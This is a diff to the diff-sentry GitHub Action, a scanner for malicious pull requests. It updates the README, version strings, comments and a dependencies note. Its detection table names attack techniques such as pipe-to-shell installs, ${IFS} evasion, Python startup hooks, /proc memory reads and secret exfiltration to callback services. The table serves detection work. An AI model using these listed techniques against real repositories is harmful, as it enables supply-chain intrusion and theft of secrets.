| Exfiltration | secrets reaching a network sink, cross-process `/proc/<pid>/mem` reads, OAST callback services, IPFS and permaweb gateways |
|
|
@@ -95,6 +96,7 @@ If you operate the infrastructure, or maintain a project where a wrong call is e
|
|
|
95
96
|
- **Deep classification**: a reasoning model reads a PR, issue or push in a sandbox and returns a verdict next to the evidence. See [How it works](docs/how-it-works.md).
|
|
96
97
|
- **The studio**: a local console that streams a run as it happens. See [`studio/README.md`](studio/README.md).
|
|
97
98
|
- **Watch**: monitors a list of repositories, alerts the moment the rules fire, and remembers the accounts and payload hosts it has seen. See [Watching a watchlist](docs/watch.md).
|
|
99
|
+
- **Release watch**: compares each new release of the PyPI packages you depend on with the release before it, and alerts when the new wheels carry a startup hook or a packed loader that the source never showed. See [Watching releases](docs/release-watch.md).
|
|
98
100
|
- **Trajectories for training**: every run is recorded, and `export` turns the traces into a reward-free dataset for fine-tuning a smaller planner. See [The full pipeline](docs/how-it-works.md#the-full-pipeline).
|
|
99
101
|
|
|
100
102
|
None of this is needed for the Action, and none of it sends your code anywhere you did not configure yourself.
|
|
@@ -107,6 +109,7 @@ A strong prompt injection can skew a model's verdict, though never the evidence.
|
|
|
107
109
|
|
|
108
110
|
- [How it works](docs/how-it-works.md): severity tuning, the evidence union, the full pipeline, running it locally, and the incidents the tests reconstruct.
|
|
109
111
|
- [Watching a watchlist](docs/watch.md): the monitor, its alerts, its archive, and what the account dossier holds.
|
|
112
|
+
- [Watching releases](docs/release-watch.md): comparing each new PyPI release with the one before it.
|
|
110
113
|
- [Honest limits](docs/limits.md): what the rules and the pipeline do not see.
|
|
111
114
|
- [Development](docs/development.md): the test suites and CI.
|
|
112
115
|
- [CHANGELOG](CHANGELOG.md)
|
|
@@ -21,16 +21,16 @@ jobs:
|
|
|
21
21
|
- uses: actions/checkout@v7
|
|
22
22
|
with:
|
|
23
23
|
fetch-depth: 0 # the scan diffs against the PR base
|
|
24
|
-
- uses: qazbnm456/diff-sentry@v0.
|
|
24
|
+
- uses: qazbnm456/diff-sentry@v0.10.0
|
|
25
25
|
```
|
|
26
26
|
|
|
27
|
-
That is the whole setup. The job fails when an indicator at or above `high` fires.
|
|
27
|
+
That is the whole setup. The job fails when an indicator at or above `high` fires. Add `push` to `on:` to also scan commits pushed straight to a branch. A push that bypasses branch protection can also delete this workflow, so `watch` and `release-watch` read the repository and its releases from outside.
|
|
28
28
|
|
|
29
29
|
## What it catches
|
|
30
30
|
|
|
31
31
|
| Family | Examples |
|
|
32
32
|
|---|---|
|
|
33
|
-
| Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; plus `permissions: write-all` and CODEOWNERS reassignment |
|
|
33
|
+
| Workflow configuration | `pull_request_target` that checks out the PR head (the pwn-request that broke AsyncAPI) by `ref:`, by a hand-rolled `git fetch`, or by opting back in with `allow-unsafe-pr-checkout: true`; a workflow pointed at a lookalike of your own GitHub owner (the litellm release built from `Berri-AI/litellm`); plus `permissions: write-all` and CODEOWNERS reassignment |
|
|
34
34
|
| Obfuscation | base64 that decodes to a shell payload, `_0x…` machine-mangled JavaScript, high-entropy blobs |
|
|
35
35
|
| Execution | pipe-to-shell installs, `${IFS}` space-evasion, detached child processes, inline `node -e`, fetch-to-disk droppers, Python startup hooks (`.pth`, `sitecustomize.py`), packed or downloaded code run with `exec` |
|
|
36
36
|
| Exfiltration | secrets reaching a network sink, cross-process `/proc/<pid>/mem` reads, OAST callback services, IPFS and permaweb gateways |
|
|
@@ -74,6 +74,7 @@ If you operate the infrastructure, or maintain a project where a wrong call is e
|
|
|
74
74
|
- **Deep classification**: a reasoning model reads a PR, issue or push in a sandbox and returns a verdict next to the evidence. See [How it works](docs/how-it-works.md).
|
|
75
75
|
- **The studio**: a local console that streams a run as it happens. See [`studio/README.md`](studio/README.md).
|
|
76
76
|
- **Watch**: monitors a list of repositories, alerts the moment the rules fire, and remembers the accounts and payload hosts it has seen. See [Watching a watchlist](docs/watch.md).
|
|
77
|
+
- **Release watch**: compares each new release of the PyPI packages you depend on with the release before it, and alerts when the new wheels carry a startup hook or a packed loader that the source never showed. See [Watching releases](docs/release-watch.md).
|
|
77
78
|
- **Trajectories for training**: every run is recorded, and `export` turns the traces into a reward-free dataset for fine-tuning a smaller planner. See [The full pipeline](docs/how-it-works.md#the-full-pipeline).
|
|
78
79
|
|
|
79
80
|
None of this is needed for the Action, and none of it sends your code anywhere you did not configure yourself.
|
|
@@ -86,6 +87,7 @@ A strong prompt injection can skew a model's verdict, though never the evidence.
|
|
|
86
87
|
|
|
87
88
|
- [How it works](docs/how-it-works.md): severity tuning, the evidence union, the full pipeline, running it locally, and the incidents the tests reconstruct.
|
|
88
89
|
- [Watching a watchlist](docs/watch.md): the monitor, its alerts, its archive, and what the account dossier holds.
|
|
90
|
+
- [Watching releases](docs/release-watch.md): comparing each new PyPI release with the one before it.
|
|
89
91
|
- [Honest limits](docs/limits.md): what the rules and the pipeline do not see.
|
|
90
92
|
- [Development](docs/development.md): the test suites and CI.
|
|
91
93
|
- [CHANGELOG](CHANGELOG.md)
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
# Vendored / external dependencies
|
|
2
|
+
|
|
3
|
+
diff-sentry vendors nothing. It consumes rlm-harness as an exact PyPI pin, and its deterministic detection logic (indicators, assemble, emit) is its own pure-Python code. The Claude-subscription adapter comes from the rlm-harness wheel (`rlm-harness[subscription]` provides `rlm_harness.ClaudeAgentLM`, injected at `configure(main_lm=…, sub_lm=…)`). The external boundaries diff-sentry does cross, and why, are listed here.
|
|
4
|
+
|
|
5
|
+
## External services (all opt-in, none bundled)
|
|
6
|
+
|
|
7
|
+
- **GitHub ingest** (`ingest.py`): shells out to `gh` HOST-SIDE only (transport injectable, never a planner tool). The fetched change content is untrusted LM context, never trusted instructions.
|
|
8
|
+
- **Enrichment fetch** (`fetch_tool.py`): OFF by default, GitHub-allowlisted (MF2), SSRF-guarded by the kit with a resolved-IP re-check on every redirect hop.
|
|
9
|
+
- **SIEM webhook** (`emit.py`): host-side POST after the run; the planner never holds SIEM creds.
|
|
10
|
+
- **The model endpoints** (planner / analyst / classifier): the user's own, by env. No default vendor.
|
|
@@ -1,7 +1,5 @@
|
|
|
1
1
|
name: 'diff-sentry malicious change scan'
|
|
2
|
-
# Marketplace hard-caps this at 124 characters (the publish form rejects 125+), and it is the one line
|
|
3
|
-
# shown on the listing card and in search results. Keep it under the cap and keep it concrete; the long
|
|
4
|
-
# form lives in the README.
|
|
2
|
+
# Marketplace hard-caps this at 124 characters (the publish form rejects 125+), and it is the one line shown on the listing card and in search results. Keep it under the cap and keep it concrete; the long form lives in the README.
|
|
5
3
|
description: 'Catch malicious pull requests before they merge: obfuscated payloads, exfiltration, pwn-requests. No API key.'
|
|
6
4
|
author: 'qazbnm456'
|
|
7
5
|
|
|
@@ -41,10 +39,8 @@ inputs:
|
|
|
41
39
|
which is what this repo's own CI uses so that a PR is scanned by the rules IN
|
|
42
40
|
that PR rather than by the ones already on main.
|
|
43
41
|
required: false
|
|
44
|
-
# KEEP IN STEP WITH [project].version. release.yml fails the build if this drifts
|
|
45
|
-
|
|
46
|
-
# old scanner under a new action tag.
|
|
47
|
-
default: '0.8.0'
|
|
42
|
+
# KEEP IN STEP WITH [project].version. release.yml fails the build if this drifts from the tag being released, because a stale default here would silently run an old scanner under a new action tag.
|
|
43
|
+
default: '0.10.0'
|
|
48
44
|
|
|
49
45
|
outputs:
|
|
50
46
|
failed:
|
|
@@ -67,8 +63,7 @@ runs:
|
|
|
67
63
|
using: composite
|
|
68
64
|
steps:
|
|
69
65
|
- name: Install uv
|
|
70
|
-
# SHA-pinned: a moving major tag on a third-party action could be repointed at code that runs
|
|
71
|
-
# with the calling workflow's token. Bump the SHA and the trailing version comment together.
|
|
66
|
+
# SHA-pinned: a moving major tag on a third-party action could be repointed at code that runs with the calling workflow's token. Bump the SHA and the trailing version comment together.
|
|
72
67
|
uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
|
|
73
68
|
with:
|
|
74
69
|
enable-cache: true
|
|
@@ -76,9 +71,7 @@ runs:
|
|
|
76
71
|
- name: Scan the change
|
|
77
72
|
id: scan
|
|
78
73
|
shell: bash
|
|
79
|
-
# Event data is read from `env:`, never interpolated into the script body. A
|
|
80
|
-
# `${{ github.event.* }}` expanded straight into a shell command is the classic Actions
|
|
81
|
-
# script-injection sink, and this action exists to catch that class of mistake.
|
|
74
|
+
# Event data is read from `env:`, never interpolated into the script body. A `${{ github.event.* }}` expanded straight into a shell command is the classic Actions script-injection sink, and this action exists to catch that class of mistake.
|
|
82
75
|
env:
|
|
83
76
|
EVENT_NAME: ${{ github.event_name }}
|
|
84
77
|
PR_BASE_SHA: ${{ github.event.pull_request.base.sha }}
|
|
@@ -108,9 +101,7 @@ runs:
|
|
|
108
101
|
fi
|
|
109
102
|
echo "diffing ${base}...$(git rev-parse HEAD)"
|
|
110
103
|
|
|
111
|
-
# Split the change into a gated half and a report-only half. Anything the caller listed as
|
|
112
|
-
# pattern-bearing is excluded from the gate and scanned separately, so a repo that legitimately
|
|
113
|
-
# ships attack samples is not permanently red while the rest of it stays enforced.
|
|
104
|
+
# Split the change into a gated half and a report-only half. Anything the caller listed as pattern-bearing is excluded from the gate and scanned separately, so a repo that legitimately ships attack samples is not permanently red while the rest of it stays enforced.
|
|
114
105
|
gated_ex=()
|
|
115
106
|
report_inc=()
|
|
116
107
|
while IFS= read -r p; do
|
|
@@ -1,20 +1,12 @@
|
|
|
1
1
|
"""diff-sentry: classify a GitHub change for malicious intent, as a traced RLM harness.
|
|
2
2
|
|
|
3
|
-
A downstream *consumer* of rlm-harness (an exact PyPI pin) reproducing Datadog's BewAIre defense shape:
|
|
4
|
-
ingest a GitHub PR/issue/push → analyze the diff as UNTRUSTED data in a sandboxed REPL → produce a
|
|
5
|
-
judgement-only structured verdict (benign/suspicious/malicious/inconclusive) → union the deterministic indicator
|
|
6
|
-
evidence on read → emit a SIEM signal host-side → export reward-free trajectories.
|
|
3
|
+
A downstream *consumer* of rlm-harness (an exact PyPI pin) reproducing Datadog's BewAIre defense shape: ingest a GitHub PR/issue/push → analyze the diff as UNTRUSTED data in a sandboxed REPL → produce a judgement-only structured verdict (benign/suspicious/malicious/inconclusive) → union the deterministic indicator evidence on read → emit a SIEM signal host-side → export reward-free trajectories.
|
|
7
4
|
|
|
8
5
|
Public surface::
|
|
9
6
|
|
|
10
|
-
from diff_sentry import DetectConfig, run, detect_from_event # drive a run
|
|
11
|
-
from diff_sentry import ChangeVerdict, AssembledVerdict, DetectionResponse # shapes
|
|
12
|
-
from diff_sentry import scan_indicators, assemble_verdict, build_response, emit_signal
|
|
13
|
-
from diff_sentry import normalize_event, event_from_payload, export_dataset
|
|
7
|
+
from diff_sentry import DetectConfig, run, detect_from_event # drive a run from diff_sentry import ChangeVerdict, AssembledVerdict, DetectionResponse # shapes from diff_sentry import scan_indicators, assemble_verdict, build_response, emit_signal from diff_sentry import normalize_event, event_from_payload, export_dataset
|
|
14
8
|
|
|
15
|
-
`config`, `schema`, `normalize`, `indicators`, `assemble`, `response`, `emit`, `ingest`, `hosts`, `dbutil`, `actors`,
|
|
16
|
-
`snapshot`, `watch`, `rl_export`, `rubric` import NO dspy at module top (unit-testable in isolation).
|
|
17
|
-
`ClassifyChange` / `setup` / `run` / `screen` / `detect_from_event` pull in dspy lazily (via RLMTask).
|
|
9
|
+
`config`, `schema`, `normalize`, `indicators`, `assemble`, `response`, `emit`, `ingest`, `hosts`, `dbutil`, `actors`, `snapshot`, `watch`, `rl_export`, `rubric` import NO dspy at module top (unit-testable in isolation). `ClassifyChange` / `setup` / `run` / `screen` / `detect_from_event` pull in dspy lazily (via RLMTask).
|
|
18
10
|
"""
|
|
19
11
|
|
|
20
12
|
from __future__ import annotations
|
|
@@ -80,7 +72,7 @@ __all__ = [
|
|
|
80
72
|
"screen",
|
|
81
73
|
]
|
|
82
74
|
|
|
83
|
-
__version__ = "0.
|
|
75
|
+
__version__ = "0.10.0"
|
|
84
76
|
|
|
85
77
|
|
|
86
78
|
def __getattr__(name: str): # PEP 562: defer the dspy import to first use
|